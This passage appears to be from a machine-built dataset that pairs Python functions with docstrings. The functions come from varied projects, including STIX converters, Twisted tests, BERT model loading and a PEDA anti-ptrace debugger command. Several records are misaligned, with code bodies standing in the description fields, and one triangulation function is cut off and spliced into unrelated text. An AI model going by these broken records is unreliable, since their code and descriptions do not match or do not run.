\"user\": \"NT AUTHORITY\\\\NETWORK SERVICE\"\n }\n result_data.update(data)\n result_bundle = json_to_stix_translator.convert_to_stix(\n data_source, map_data, [result_data], get_module_transformers(MODULE), options)\n result_bundle_objects = result_bundle['objects']\n\n result_bundle_identity = result_bundle_objects[0]\n assert result_bundle_identity['type'] == data_source['type']\n observed_data = result_bundle_objects[1]\n\n assert 'objects' in observed_data\n objects = observed_data['objects']\n\n asset_obj = TestSentineloneResultsToStix.get_first_of_type(objects.values(),\n 'x-oca-asset')\n assert asset_obj is not None\n assert asset_obj['type'] == 'x-oca-asset'\n assert asset_obj['ip_refs'] == ['2', '4']\n assert asset_obj['hostname'] == 'EC2AMAZ-IQFSLIL'\n assert asset_obj['extensions']['x-sentinelone-endpoint']['agent_uuid'] == 'f5875d2abd9f4198824885126b4f4d07'\n", "nl": "to test x-oca-asset custom object properties"} {"code": "def __delitem__(self, key):\n self.del_item(key)\n", "nl": "See:meth:`del_item`"} {"code": "def encode_multipart(boundary, data):\n encoded = django.test.client.encode_multipart(boundary, data)\n re_keys = r\"|\".join(re.escape(key) for key in data.keys())\n return re.sub(\n rb'filename=\"(%s)\"' % re_keys.encode(\"ascii\"),\n b'filename=\"\"', encoded)", "nl": "Version of :func:`django.test.client.encode_multipart` that allowsempty filenames. (The original function substitutes the field'sname if a file has an empty name.)"} {"code": "def test_properties(self):\n description = self.strategy.get_location_description()\n\n assert type(description) == Description\n assert description.data_model is AGENT_LOCATION_MODEL\n assert description.values.get(\"location\", \"\") == Location(\n latitude=self.location[\"latitude\"], longitude=self.location[\"longitude\"]\n )\n", "nl": "Test the properties of Strategy class.assert self.strategy.admin_host == self.admin_hostassert self.strategy.admin_port == self.admin_portassert self.strategy.admin_url == f\"http://{self.admin_host}:{self.admin_port}\"def test_get_location_description(self):Test the get_location_description method of the Strategy class."} {"code": "def _validate_format(format, alternative):\n", "nl": "Test format string `alternative` against `format`. `format` can be themsgid of a message and `alternative` one of the `msgstr`\\s. The twoarguments are not interchangeable as `alternative` may contain lessplaceholders if `format` uses named placeholders.The behavior of this function is undefined if the string does not usestring formattings.If the string formatting of `alternative` is compatible to `format` thefunction returns `None`, otherwise a `TranslationError` is raised.Examples for compatible format strings:>>> _validate_format('Hello %s!', 'Hallo %s!')>>> _validate_format('Hello %i!', 'Hallo %d!')Example for an incompatible format strings:>>> _validate_format('Hello %(name)s!', 'Hallo %s!')Traceback (most recent call last):...TranslationError: the format strings are of different kindsThis function is used by the `python_format` checker.:param format: The original format string:param alternative: The alternative format string that should be checkedagainst format:raises TranslationError: on formatting errors"} {"code": "def _predict_dcph(model, features, times):\n\n if isinstance(times, float) or isinstance(times, int):\n times = [float(times)]\n\n if isinstance(times, np.ndarray):\n times = times.ravel().tolist()\n\n return model.predict_survival(x=features.values, t=times)\n", "nl": "Predict survival at specified time(s) using the Deep Cox PH model.Parameters-----------model :Trained instance of the Deep Cox PH model.features : pd.DataFrameA pandas dataframe with rows corresponding to individual samples andcolumns as covariates.times : float or listA float or list of the times at which to compute the survival probability.Returns-----------np.array : An array of the survival probabilites at eachtime point in times."} {"code": "def denormalized_names(self):\n\n return exclusions.skip_if(\n lambda config: not config.db.dialect.requires_name_normalize,\n \"Backend does not require denormalized names.\"\n )\n\n @property", "nl": "Target database must have 'denormalized', i.e.UPPERCASE as case insensitive names."} {"code": "def _pidfile_name(self):\n return drone_manager.AUTOSERV_PID_FILE\n", "nl": "Return the name of the pidfile this AgentTask's process uses. To beoverridden if necessary."} {"code": "def collect(self):\n lxc_metrics = [\"memory.usage_in_bytes\", \"memory.limit_in_bytes\"]\n if os.path.isdir(self.config[\"sys_path\"]) is False:\n self.log.debug(\"sys_path '%s' isn't directory.\",\n self.config[\"sys_path\"])\n return {}\n\n collected = {}\n for item in os.listdir(self.config[\"sys_path\"]):\n fpath = \"%s/%s\" % (self.config[\"sys_path\"], item)\n if os.path.isdir(fpath) is False:\n continue\n\n for lxc_metric in lxc_metrics:\n filename = \"%s/%s\" % (fpath, lxc_metric)\n metric_name = \"%s.%s\" % (\n item.replace(\".\", \"_\"),\n lxc_metric.replace(\"_in_bytes\", \"\"))\n self.log.debug(\"Trying to collect from %s\", filename)\n collected[metric_name] = self._read_file(filename)\n\n for key in collected.keys():\n if collected[key] is None:\n continue\n\n for unit in self.config[\"byte_unit\"]:\n value = diamond.convertor.binary.convert(\n collected[key],\n oldUnit=\"B\",\n newUnit=unit)\n new_key = \"%s_in_%ss\" % (key, unit)\n self.log.debug(\"Publishing '%s %s'\", new_key, value)\n self.publish(new_key, value, metric_type=\"GAUGE\")\n", "nl": "Collect memory stats of LXCs."} {"code": "def sim(vec_hyp, vec_ref, norm_hyp, norm_ref, length_hyp, length_ref):\n delta = float(length_hyp - length_ref)\n val = np.array([0.0 for _ in range(self.n)])\n for n in range(self.n):\n for (ngram,count) in six.iteritems(vec_hyp[n]):\n val[n] += min(vec_hyp[n][ngram], vec_ref[n][ngram]) * vec_ref[n][ngram]\n\n if (norm_hyp[n] != 0) and (norm_ref[n] != 0):\n val[n] /= (norm_hyp[n]*norm_ref[n])\n\n assert(not math.isnan(val[n]))\n val[n] *= np.e**(-(delta**2)/(2*self.sigma**2))\n return val\n\n self.ref_len = np.log(float(len(self.crefs)))\n\n scores = []\n for test, refs in zip(self.ctest, self.crefs):\n vec, norm, length = counts2vec(test)\n score = np.array([0.0 for _ in range(self.n)])\n for ref in refs:\n vec_ref, norm_ref, length_ref = counts2vec(ref)\n score += sim(vec, vec_ref, norm, norm_ref, length, length_ref)\n score_avg = np.mean(score)\n score_avg /= len(refs)\n score_avg *= 10.0\n scores.append(score_avg)\n return scores\n", "nl": "Compute the cosine similarity of two vectors.:param vec_hyp: array of dictionary for vector corresponding to hypothesis:param vec_ref: array of dictionary for vector corresponding to reference:param norm_hyp: array of float for vector corresponding to hypothesis:param norm_ref: array of float for vector corresponding to reference:param length_hyp: int containing length of hypothesis:param length_ref: int containing length of reference:return: array of score for each n-grams cosine similarity"} {"code": "def event_channel_name(self):\n pass\n\n @abstractmethod", "nl": "Channel name that the area subscribes to. It is used to listen to eventsthat originate from the parent area.:return: String that contains the channel name for the area"} {"code": "def map_recursive(fctn, x_or_iterable):\n if isinstance(x_or_iterable, list) or isinstance(x_or_iterable, tuple):\n return type(x_or_iterable)(\n map_recursive(fctn, item) for item in x_or_iterable\n )\n else:\n return fctn(x_or_iterable)\n\n", "nl": "Apply `fctn` to each element in x_or_iterable.This is a generalization of the map function since this will workrecursively for iterables.:param fctn: Function from element of iterable to something.:param x_or_iterable: An element or an Iterable of an element.:return: The same (potentially recursive) iterable but withall the elements transformed by fctn."} {"code": "def addField(self, *defs):\n if self._new:", "nl": "Add field definitions.For more information see `header.DbfHeader.addField`."} {"code": "def test_reverseIndex(self):\n self.protocol.reverseIndex()\n self.assertEqual(self.transport.value(),\n self.ESC + C1SevenBit.RI.value)\n\n", "nl": "L{ServerProtocol.reverseIndex} writes the control sequenceending in the L{C1SevenBit.RI}."} {"code": "def __post_init__(self):\n\n params: str\n find: str\n ee_support: Tuple[bool, ...] = (True, False)\n\n\nPartialCommands = (\n PartialCommand(params=\"--help\", find=\"Start at the welcome page\"),\n PartialCommand(params=\"settings --help\", find=\"Options (settings subcommand)\"),\n PartialCommand(params=\"builder --help-builder\", find=\"Print ansible-builder version\"),\n PartialCommand(params=\"config list --mode stdout\", find=\"Valid YAML extensions\"),\n PartialCommand(params=\"doc debug --mode stdout\", find=\"ansible.builtin.debug\"),\n PartialCommand(params=\"exec whoami\", find=\"root\", ee_support=(True,)),\n PartialCommand(params=\"run --help-playbook\", find=\"--become\"),\n)\n\n", "nl": "Post the init.self.identity = self.commandvenv = _get_venv()self.command = f\". {venv} && ansible-navigator {self.command} {self.set_env}\"@dataclassclass PartialCommand:The unique parts of one command."} {"code": "def to_line_protocol(self):\n tags = self.get_output_tags()\n\n return u\"{0}{1} {2}{3}\".format(\n self.get_output_measurement(),\n \",\" + tags if tags else '',\n self.get_output_values(),\n self.get_output_timestamp()\n )", "nl": "Converts the given metrics as a single line of InfluxDB line protocol"} {"code": "def __init__(self, in_channels=3, out_channels=64, norm=\"BN\"):\n super().__init__()\n self.conv1 = Conv2d(\n in_channels,\n out_channels,\n kernel_size=7,\n stride=2,\n padding=3,\n bias=has_bias,\n norm=get_norm(norm, out_channels),\n )\n weight_init.c2_xavier_fill(self.conv1)\n", "nl": "Args:norm (str or callable): a callable that takes the number ofchannels and return a `nn.Module`, or a pre-defined string(one of {\"FrozenBN\", \"BN\", \"GN\"})."} {"code": "def worker_thread_callback(self, message=None):\n thread_obj = threading.currentThread()\n thread_id = thread_obj.thread_id = _thread.get_ident()\n self.workers.append(thread_obj)\n self.idle_workers.append(thread_id)\n requests_processed = 0\n add_replacement_worker = False\n self.logger.debug('Started new worker %s: %s', thread_id, message)\n try:\n while True:\n if self.max_requests and self.max_requests < requests_processed:\n self.logger.debug('Thread %s processed %i requests (limit %s); stopping thread'\n % (thread_id, requests_processed, self.max_requests))\n add_replacement_worker = True\n break\n runnable = self.queue.get()\n if runnable is ThreadPool.SHUTDOWN:\n self.logger.debug('Worker %s asked to SHUTDOWN', thread_id)\n break\n try:\n self.idle_workers.remove(thread_id)\n except ValueError:\n pass\n self.worker_tracker[thread_id] = [time.time(), None]\n requests_processed += 1\n try:\n try:\n runnable()\n except:\n print('Unexpected exception in worker %r' % runnable,\n file=sys.stderr)\n traceback.print_exc()\n if thread_id in self.dying_threads:\n break\n finally:\n try:\n del self.worker_tracker[thread_id]\n except KeyError:\n pass\n if six.PY2:\n sys.exc_clear()\n self.idle_workers.append(thread_id)\n finally:\n try:\n del self.worker_tracker[thread_id]\n except KeyError:\n pass\n try:\n self.idle_workers.remove(thread_id)\n except ValueError:\n pass\n try:\n self.workers.remove(thread_obj)\n except ValueError:\n pass\n try:\n del self.dying_threads[thread_id]\n except KeyError:\n pass\n if add_replacement_worker:\n self.add_worker_thread(message='Voluntary replacement for thread %s' % thread_id)\n", "nl": "Worker thread should call this method to get and process queuedcallables."} {"code": "def filter_distinct_objects(self, filter_fn, objects):\n if not ref_predicate[\"location\"]:\n return situations\n valid_situations = []\n for situation in situations:\n if (target_predicate[\"size\"] == ref_predicate[\"size\"] and\n target_predicate[\"color\"] == ref_predicate[\"color\"] and\n target_predicate[\"noun\"] == ref_predicate[\"noun\"]):\n continue\n ref_position = self._vocabulary.translate_word(ref_predicate[\"location\"])\n if ref_position != \"next to\":\n relative_position = self._world.get_relative_position(\n situation[\"target_position\"], ref_position)\n if self._world.within_grid(relative_position):\n valid_situations.append(situation)\n elif self._world.get_nearby_positions(situation[\"target_position\"]):\n valid_situations.append(situation)\n return valid_situations\n", "nl": "Filter distinct objects with filter function.distinct_objects = []for obj in objects:if filter_fn(other_object=obj):distinct_objects.append(obj)return distinct_objectsdef remove_invalid_siutations(self, situations, target_predicate,ref_predicate):Filter out invalid situations."} {"code": "def __getitem__(self, index):\n\n group = self.groups[index]\n image_data, word_data, det_data, seg_data=self.get_batch(group)\n return [image_data, word_data, *det_data, seg_data],np.zeros(self.batch_size)", "nl": "Keras sequence method for generating batches."} {"code": "def Params(cls):\n\n Args:\n theta: A `.NestedMap` object containing weight values of this layer and\n its children layers.\n external_inputs: A `.NestedMap` object. The structure of the internal", "nl": "Constructs Params for an RnnStackStep.p = super().Params()p.Define('rnn_cell_tpl', rnn_cell.LSTMCellSimple.Params(),'RNNCell params template. ''Can be a single param or ''a list of rnn_layers params, one for each layer.')p.Define('external_input_dim', 0, 'Size of the external input. ''The external input is given at the start of the sequence ''and is given to every layer at every step.')p.Define('step_input_dim', 0, 'Size of the step input. ''This input is only given to the first layer and is expected to ''be different for each step.')p.Define('context_input_dim', 0, 'Size of the context input. ''This input is given to every layer and is expected to be ''different for each step.')p.Define('rnn_cell_dim', 0, 'Size of the rnn cells. ''This may be overridden by parameters set in rnn_cell_tpl.')p.Define('rnn_cell_hidden_dim', 0, 'internal size of the rnn cells. When ''set to > 0 it enables a projection layer at the output of the ''rnn cell. This may be overridden by parameters set in rnn_cell_tpl.')p.Define('rnn_layers', 1, 'Number of rnn layers.')p.Define('residual_start', -1,'Start residual connections from this layer. For this and higher ''layers, the layer output is the sum of the RNN cell output and ''input; if the layer also normalizes its output, then the ''normalization is done over this sum. Set to -1 to disable ''residual connections.')p.Define('residual_stride', 1,'Number of lstm layers to skip per residual connection.')return pdef __init__(self, params):super().__init__(params)p = paramssub = []# Users can either provide a single rnn_cell_tpl or one per layer.# If only one is provided, we replicate it for each layer.rnn_cell_tpls = p.rnn_cell_tplif not isinstance(rnn_cell_tpls, list):rnn_cell_tpls = [p.rnn_cell_tpl] * p.rnn_layers# We may provide up to three tensors as input to the RnnStep:# the normal input, the context input (from step_inputs.context),# and the external input (from external_inputs).arity = 1if p.context_input_dim:arity += 1if p.external_input_dim:arity += 1extra_dim = p.context_input_dim + p.external_input_dim# The first layer's input comes from step_inputs.input. Later layers# will get their inputs from the previous layer's output.input_nodes = p.step_input_dimfor i in range(p.rnn_layers):step_i = RnnStep.Params()step_i.name = 'rnn_%d' % istep_i.cell = rnn_cell_tpls[i].Copy()step_i.cell.num_input_nodes = input_nodes + extra_dimstep_i.cell.inputs_arity = arity# The dimensions of each cell may be specified in the cell template# but most users will specify them in the stack params.if step_i.cell.num_output_nodes == 0:step_i.cell.num_output_nodes = p.rnn_cell_dimif step_i.cell.num_hidden_nodes == 0:step_i.cell.num_hidden_nodes = p.rnn_cell_hidden_diminput_nodes = step_i.cell.num_output_nodessub.append(step_i)stack_params = step.StackStep.Params()stack_params.name = p.namestack_params.sub = substack_params.residual_start = p.residual_startstack_params.residual_stride = p.residual_strideself.CreateChild('stack', stack_params)def _child_variable_scope_override(self):return {**super()._child_variable_scope_override(), 'stack': []}def PrepareExternalInputs(self, theta, external_inputs):Delegates external inputs preparation to sub-layers."} {"code": "def test_lengthLimitExceeded(self):\n length = []\n r = self.getProtocol()\n r.lengthLimitExceeded = length.append\n r.MAX_LENGTH = 10\n r.dataReceived(struct.pack(r.structFormat, 11))\n self.assertEqual(length, [11])\n\n", "nl": "When a length prefix is received which is greater than the protocol'sC{MAX_LENGTH} attribute, the C{lengthLimitExceeded} method is calledwith the received length prefix."} {"code": "def polynomial_triangulation(self,feat1,feat2,epipole_1,epipole_2,F,P1,P2):\n\t\tL1,R1=self.compute_L_R(feat1,epipole_1)\n\t\tL2,R2=self.compute_L_R(feat2,epipole_2)\n\n\t\tF1=R2.dot(np.transpose(inv(L2))).dot(F).dot(inv(L1)).dot(np.transpose(R1))\n\t\ta=F1[1,1];\n\t\tb=F1[1,2];\n\t\tc=F1[2,1];\n\t\td=F1[2,2];\n\t\tf1=-F1[1,0]/b;\n\t\tf2=-F1[0,1]/c;\n\n\t\tp=np.zeros(7);\n\t\tp[0]=-2*np.power(f1,4)*np.power(a,2)*c*d+2*np.power(f1,4)*a*np.power(c,2)*b;\n\t\tp[1]=2*np.power(a,4)+2*np.power(f2,4)*np.power(c,4)-2*np.power(f1,4)*np.power(a,2)*np.power(d,2)+2*np.power(f1,4)*np.power(b,2)*np.power(c,2)+4*np.power(a,2)*np.power(f2,2)*np.power(c,2);\n\t\tp[2]=8*np.power(f2,4)*d*np.power(c,3)+8*b*np.power(a,3)+8*b*a*np.power(f2,2)*np.power(c,2)+8*np.power(f2,2)*d*c*np.power(a,2)-4*np.power(f1,2)*np.power(a,2)*c*d+4*np.power(f1,2)*a*np.power(c,2)*b-2*np.power(f1,4)*b*np.power(d,2)*a+2*np.power(f1,4)*np.power(b,2)*d*c;\n\t\tp[3]=-4*np.power(f1,2)*np.power(a,2)*np.power(d,2)+4*np.power(f1,2)*np.power(b,2)*np.power(c,2)+4*np.power(b,2)*np.power(f2,2)*np.power(c,2)+16*b*a*np.power(f2,2)*d*c+12*np.power(f2,4)*np.power(d,2)*np.power(c,2)+12*np.power(b,2)*np.power(a,2)+4*np.power(f2,2)*np.power(d,2)*np.power(a,2);\n\t\tp[4]=8*np.power(f2,4)*np.power(d,3)*c+8*np.power(b,2)*np.power(f2,2)*d*c+8*np.power(f2,2)*np.power(d,2)*b*a-4*np.power(f1,2)*b*np.power(d,2)*a+4*np.power(f1,2)*np.power(b,2)*d*c+2*a*np.power(c,2)*b+8*np.power(b,3)*a-2*np.power(a,2)*c*d;\n\t\tp[5]=4*np.power(b,2)*np.power(f2,2)*np.power(d,2)+2*np.power(f2,4)*np.power(d,4)+2*np.power(b,2)*np.power(c,2)-2*np.power(a,2)*np.power(d,2)+2*np.power(b,4);\n\t\tp[6]=-2*b*d*(a*d-b*c);\n\n\t\tr=np.roots(p)\n\t\ty=np.polyval(p,r)\n\n\t\taa=max(y)\n\t\ti=0;\n\t\tii=0;\n\n\t\tfor i in range(0,6):\n\t\t\tif ((np.imag(r[i])==0) and (abs(y[i])`_)to skip a doctest statically."} {"code": "def push_async_callback(*args, **kwds):\n if len(args) >= 2:\n self, callback, *args = args\n elif not args:\n raise TypeError(\"descriptor 'push_async_callback' of \"\n \"'AsyncExitStack' object needs an argument\")\n elif 'callback' in kwds:\n callback = kwds.pop('callback')\n self, *args = args\n import warnings\n warnings.warn(\"Passing 'callback' as keyword argument is deprecated\",\n DeprecationWarning, stacklevel=2)\n else:\n raise TypeError('push_async_callback expected at least 1 '\n 'positional argument, got %d' % (len(args)-1))\n\n _exit_wrapper = self._create_async_cb_wrapper(callback, *args, **kwds)\n\n _exit_wrapper.__wrapped__ = callback\n self._push_exit_callback(_exit_wrapper, False)\n return callback\n push_async_callback.__text_signature__ = '($self, callback, /, *args, **kwds)'\n", "nl": "Registers an arbitrary coroutine function and arguments.Cannot suppress exceptions."} {"code": "def class_view_decorator(function_decorator):", "nl": "Converts a function based decorator into a class based decorator usableon class based Views.Can't subclass the `View` as it breaks inheritance (super in particular),so we monkey-patch instead.From: http://stackoverflow.com/a/8429311/58107"} {"code": "def order_limit_buy(self, timeInForce=TIME_IN_FORCE_GTC, **params):\n params.update({\n 'side': self.SIDE_BUY,\n })\n return self.order_limit(timeInForce=timeInForce, **params)\n", "nl": "Send in a new limit buy orderAny order with an icebergQty MUST have timeInForce set to GTC."} {"code": "def get_loss(self, sem_seg_loss, results, inputs, device):\n cfg = self.cfg\n labels = inputs['data']['label'].reshape(-1,)\n results = results.reshape(-1, results.shape[-1])\n\n scores, labels = filter_valid_label(results, labels, cfg.num_classes,\n cfg.ignored_label_inds, device)\n\n loss = sem_seg_loss.weighted_CrossEntropyLoss(scores, labels)\n\n return loss, labels, scores\n", "nl": "Calculate the loss on output of the model.Attributes:sem_seg_loss: Object of type `SemSegLoss`.results: Output of the model.inputs: Input of the model.device: device(cpu or cuda).Returns:Returns loss, labels and scores."} {"code": "def unptrace(self, *arg):\n (action,) = normalize_argv(arg, 1)\n\n self.deactive(\"ptrace\", action)\n\n if not action and \"void\" in self.peda.execute_redirect(\"p $deactive_ptrace_bnum\"):\n info(\"Try to patch 'ptrace' via syscall\")\n self.peda.execute(\"catch syscall ptrace\")\n self.peda.execute(\"set $deactive_ptrace_bnum = $bpnum\")\n tmpfd = tmpfile()\n (arch, bits) = self.peda.getarch()\n if \"i386\" in arch:\n tmpfd.write(\"\\n\".join([\n \"commands $bpnum\",\n \"silent\",\n \"if (*(int*)($esp+4) == 0 || $ebx == 0)\",\n \" set $eax = 0\",\n \"end\",\n \"continue\",\n \"end\"]))\n if \"64\" in arch:\n tmpfd.write(\"\\n\".join([\n \"commands $bpnum\",\n \"silent\",\n \"if ($rdi == 0)\",\n \" set $rax = 0\",\n \"end\",\n \"continue\",\n \"end\"]))\n tmpfd.flush()\n self.peda.execute(\"source %s\" % tmpfd.name)\n tmpfd.close()\n out = self.peda.execute_redirect(\"info breakpoints $deactive_ptrace_bnum\")\n if out:\n msg(\"'ptrace' deactivated\")\n msg(out)\n", "nl": "Disable anti-ptrace detectionUsage:MYNAMEMYNAME del"} {"code": "def from_pretrained(cls, pretrained_model_name_or_path, *inputs, **kwargs):\n state_dict = kwargs.get('state_dict', None)\n kwargs.pop('state_dict', None)\n cache_dir = kwargs.get('cache_dir', None)\n kwargs.pop('cache_dir', None)\n from_tf = kwargs.get('from_tf', False)\n kwargs.pop('from_tf', None)\n\n if pretrained_model_name_or_path in PRETRAINED_MODEL_ARCHIVE_MAP:\n archive_file = PRETRAINED_MODEL_ARCHIVE_MAP[pretrained_model_name_or_path]\n else:\n archive_file = pretrained_model_name_or_path\n try:\n resolved_archive_file = cached_path(archive_file, cache_dir=cache_dir)\n except EnvironmentError:\n logger.error(\n \"Model name '{}' was not found in model name list ({}). \"\n \"We assumed '{}' was a path or url but couldn't find any file \"\n \"associated to this path or url.\".format(\n pretrained_model_name_or_path,\n ', '.join(PRETRAINED_MODEL_ARCHIVE_MAP.keys()),\n archive_file))\n return None\n if resolved_archive_file == archive_file:\n logger.info(\"loading archive file {}\".format(archive_file))\n else:\n logger.info(\"loading archive file {} from cache at {}\".format(\n archive_file, resolved_archive_file))\n tempdir = None\n if os.path.isdir(resolved_archive_file) or from_tf:\n serialization_dir = resolved_archive_file\n else:\n tempdir = tempfile.mkdtemp()\n logger.info(\"extracting archive file {} to temp dir {}\".format(\n resolved_archive_file, tempdir))\n with tarfile.open(resolved_archive_file, 'r:gz') as archive:\n archive.extractall(tempdir)\n serialization_dir = tempdir\n config_file = os.path.join(serialization_dir, CONFIG_NAME)\n if not os.path.exists(config_file):\n config_file = os.path.join(serialization_dir, BERT_CONFIG_NAME)\n config = BertConfig.from_json_file(config_file)\n logger.info(\"Model config {}\".format(config))\n model = cls(config, *inputs, **kwargs)\n if state_dict is None and not from_tf:\n weights_path = os.path.join(serialization_dir, WEIGHTS_NAME)\n state_dict = torch.load(weights_path, map_location='cpu')\n if tempdir:\n shutil.rmtree(tempdir)\n old_keys = []\n new_keys = []\n for key in state_dict.keys():\n new_key = None\n if 'gamma' in key:\n new_key = key.replace('gamma', 'weight')\n if 'beta' in key:\n new_key = key.replace('beta', 'bias')\n if new_key:\n old_keys.append(key)\n new_keys.append(new_key)\n for old_key, new_key in zip(old_keys, new_keys):\n state_dict[new_key] = state_dict.pop(old_key)\n\n missing_keys = []\n unexpected_keys = []\n error_msgs = []\n metadata = getattr(state_dict, '_metadata', None)\n state_dict = state_dict.copy()\n if metadata is not None:\n state_dict._metadata = metadata\n", "nl": "Instantiate a BertPreTrainedModel from a pre-trained model file or a pytorch state dict.Download and cache the pre-trained model file if needed.Params:pretrained_model_name_or_path: either:- a str with the name of a pre-trained model to load selected in the list of:. `bert-base-uncased`. `bert-large-uncased`. `bert-base-cased`. `bert-large-cased`. `bert-base-multilingual-uncased`. `bert-base-multilingual-cased`. `bert-base-chinese`- a path or url to a pretrained model archive containing:. `bert_config.json` a configuration file for the model. `pytorch_model.bin` a PyTorch dump of a BertForPreTraining instance- a path or url to a pretrained model archive containing:. `bert_config.json` a configuration file for the model. `model.chkpt` a TensorFlow checkpointfrom_tf: should we load the weights from a locally saved TensorFlow checkpointcache_dir: an optional path to a folder in which the pre-trained models will be cached.state_dict: an optional state dictionnary (collections.OrderedDict object) to use instead of Google pre-trained models*inputs, **kwargs: additional input for the specific Bert class(ex: num_labels for BertForSequenceClassification)"} {"code": "def add(self, item):\n if not item.startswith(self.prefix):\n item = os.path.join(self.base, item)\n self.files.add(os.path.normpath(item))\n", "nl": "Add a file to the manifest.:param item: The pathname to add. This can be relative to the base."} {"code": "def remove_cluster(self, cluster):\n files = []\n with self.window.ignore_selection_changes:\n for obj in objects:\n if isinstance(obj, File):\n files.append(obj)\n elif isinstance(obj, NonAlbumTrack):\n self.remove_nat(obj)\n elif isinstance(obj, Track):\n files.extend(obj.files)\n elif isinstance(obj, Album):\n self.window.set_statusbar_message(\n N_(\"Removing album %(id)s: %(artist)s - %(album)s\"),\n {\n 'id': obj.id,\n 'artist': obj.metadata['albumartist'],\n 'album': obj.metadata['album']\n }\n )\n self.remove_album(obj)\n elif isinstance(obj, UnclusteredFiles):\n files.extend(list(obj.files))\n elif isinstance(obj, Cluster):\n self.remove_cluster(obj)\n if files:\n self.remove_files(files)\n", "nl": "Remove the specified cluster.if not cluster.special:log.debug(\"Removing %r\", cluster)files = list(cluster.files)cluster.files = []cluster.clear_lookup_task()self.remove_files(files, from_parent=False)self.clusters.remove(cluster)self.cluster_removed.emit(cluster)def remove(self, objects):Remove the specified objects."} {"code": "def get_settings_context(self):\n return self.directive_class()\n", "nl": " format settings strings return {'id': self.id,'pk': self.pk,'home': self.get_user().get_home(),'user': self.get_username(),'group': self.get_groupname(),'site_name': self.name,'protocol': self.protocol,}def get_protocol(self):if self.protocol in (self.HTTP, self.HTTP_AND_HTTPS):return self.HTTPreturn self.HTTPS@cacheddef get_directives(self):directives = OrderedDict()for opt in self.directives.all().order_by('name', 'value'):try:directives[opt.name].append(opt.value)except KeyError:directives[opt.name] = [opt.value]return directivesdef get_absolute_url(self):try:domain = self.domains.all()[0]except IndexError:returnelse:return '%s://%s' % (self.get_protocol(), domain)def get_user(self):return self.account.main_systemuserdef get_username(self):return self.get_user().usernamedef get_groupname(self):return self.get_username()def get_www_access_log_path(self):context = self.get_settings_context()context['unique_name'] = self.unique_namepath = settings.WEBSITES_WEBSITE_WWW_ACCESS_LOG_PATH % contextreturn os.path.normpath(path)def get_www_error_log_path(self):context = self.get_settings_context()context['unique_name'] = self.unique_namepath = settings.WEBSITES_WEBSITE_WWW_ERROR_LOG_PATH % contextreturn os.path.normpath(path)class WebsiteDirective(models.Model):website = models.ForeignKey(Website, verbose_name=_(\"web site\"),related_name='directives')name = models.CharField(_(\"name\"), max_length=128, db_index=True,choices=SiteDirective.get_choices())value = models.CharField(_(\"value\"), max_length=256, blank=True)def __str__(self):return self.name@cached_propertydef directive_class(self):return SiteDirective.get(self.name)@cached_propertydef directive_instance(self): Per request lived directive instance "} {"code": "def test_quiescentCallbackNotCalledNonPersistentQuery(self):\n quiescentResult = []\n transport = StringTransport()\n protocol = HTTP11ClientProtocol(quiescentResult.append)\n protocol.makeConnection(transport)\n\n requestDeferred = protocol.request(\n Request(b'GET', b'/', _boringHeaders, None, persistent=False))\n protocol.dataReceived(\n b\"HTTP/1.1 200 OK\\r\\n\"\n b\"Content-length: 0\\r\\n\"\n b\"\\r\\n\")\n\n result = []\n requestDeferred.addCallback(result.append)\n response = result[0]\n\n bodyProtocol = AccumulatingProtocol()\n response.deliverBody(bodyProtocol)\n bodyProtocol.closedReason.trap(ResponseDone)\n self.assertEqual(quiescentResult, [])\n self.assertTrue(transport.disconnecting)\n\n", "nl": "If the request was non-persistent (i.e. sent C{Connection: close}),the C{quiescentCallback} is not called and the connection is lost."} {"code": "def get_task(self, task, wait):\n body = {\"method\": \"get\", \"params\": [{\"url\": \"task/task/{}\".format(task)}], \"verbose\": 1,\n \"session\": self.session}\n percent_complete = 0\n countdown = time.localtime().tm_min\n\n while percent_complete != 100:\n response = self.make_request(body).json()\n if response[\"result\"][0][\"status\"][\"code\"] == 0:\n percent_complete = response[\"result\"][0][\"data\"][\"percent\"]\n\n if time.localtime().tm_min - countdown > wait:\n break\n elif countdown in range((60 - wait), 61) and time.localtime().tm_min in range(wait):\n break\n else:\n time.sleep(15)\n\n return response\n", "nl": "This method is used to get the status of a task.:param task: Type str.The task id to retrieve:param wait: Type int.The number of minutes to wait before failing.:return: The json results from the task once completed, failed, or time ran out."} {"code": "def get_presets_dict(self):\n preset_id = str(uuid.uuid4())\n\n saved_presets = self.presets\n saved_presets.append(preset_id)\n self.presets = saved_presets\n\n self.set_preset_name(preset_id, name)\n\n return preset_id\n", "nl": " Return the presets formated as dict: ID => name. presets_dict = {}for preset in self.presets:presets_dict[preset] = self.get_preset_name(preset)return presets_dictdef add_preset(self, name): Create a new Preset. "} {"code": "def validate_schema_consistent(self, node):\n create tables across multiple threads concurrently\n \"\"\"", "nl": " Makes sure that there is only one schema debug(\"validate_schema_consistent() \" + node.name)response = node.nodetool('describecluster').stdoutschemas = response.split('Schema versions:')[1].strip()num_schemas = len(re.findall('\\[.*?\\]', schemas))self.assertEqual(num_schemas, 1, \"There were multiple schema versions: {}\".format(pprint.pformat(schemas)))def create_lots_of_tables_concurrently_test(self):"} {"code": "def reset_parameters(self):\n winit = orthonormal_matrix(self.conv.weight.shape[0],\n np.prod(self.conv.weight.shape[1:]))\n init_(self.conv.weight, winit.reshape(self.conv.weight.shape))\n if self.has_bias:\n binit = truncated_normal(list(self.conv.bias.shape), sd=0.5)\n init_(self.conv.bias, binit)\n", "nl": " Initialise parameters for layerPerforms orthogonal initialisation for matrix parameters and truncatednormal ('Xavier') initialisation for vector parameters.Returns:None: Parameters for weight and bias of `conv` altered in-place."} {"code": "def sid(self):\n return int(self._server_per_proc[0].sid)\n\n @property", "nl": "Return the unique proxy server ID of the server... note::Because server ID is the same across all processes,we return the proxy ID from the 1st process.:rtype: ``int``"} {"code": "def test_slice_no_starttime_or_endtime(self):\n tr_orig = Trace(data=np.arange(10, dtype=np.int32))\n tr = tr_orig.copy()\n t1 = tr.stats.starttime - 2\n t2 = tr.stats.starttime + 2\n t3 = tr.stats.endtime - 3\n t4 = tr.stats.endtime + 2\n\n tr_trim = tr_orig.copy()\n tr_trim.trim(starttime=t2)\n assert tr_trim == tr.slice(starttime=t2)\n tr2 = tr.slice(starttime=t2, endtime=t4)\n self.__remove_processing(tr_trim)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n\n tr_trim = tr_orig.copy()\n tr_trim.trim(endtime=t3)\n assert tr_trim == tr.slice(endtime=t3)\n tr2 = tr.slice(starttime=t1, endtime=t3)\n self.__remove_processing(tr_trim)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n\n tr_trim = tr_orig.copy()\n 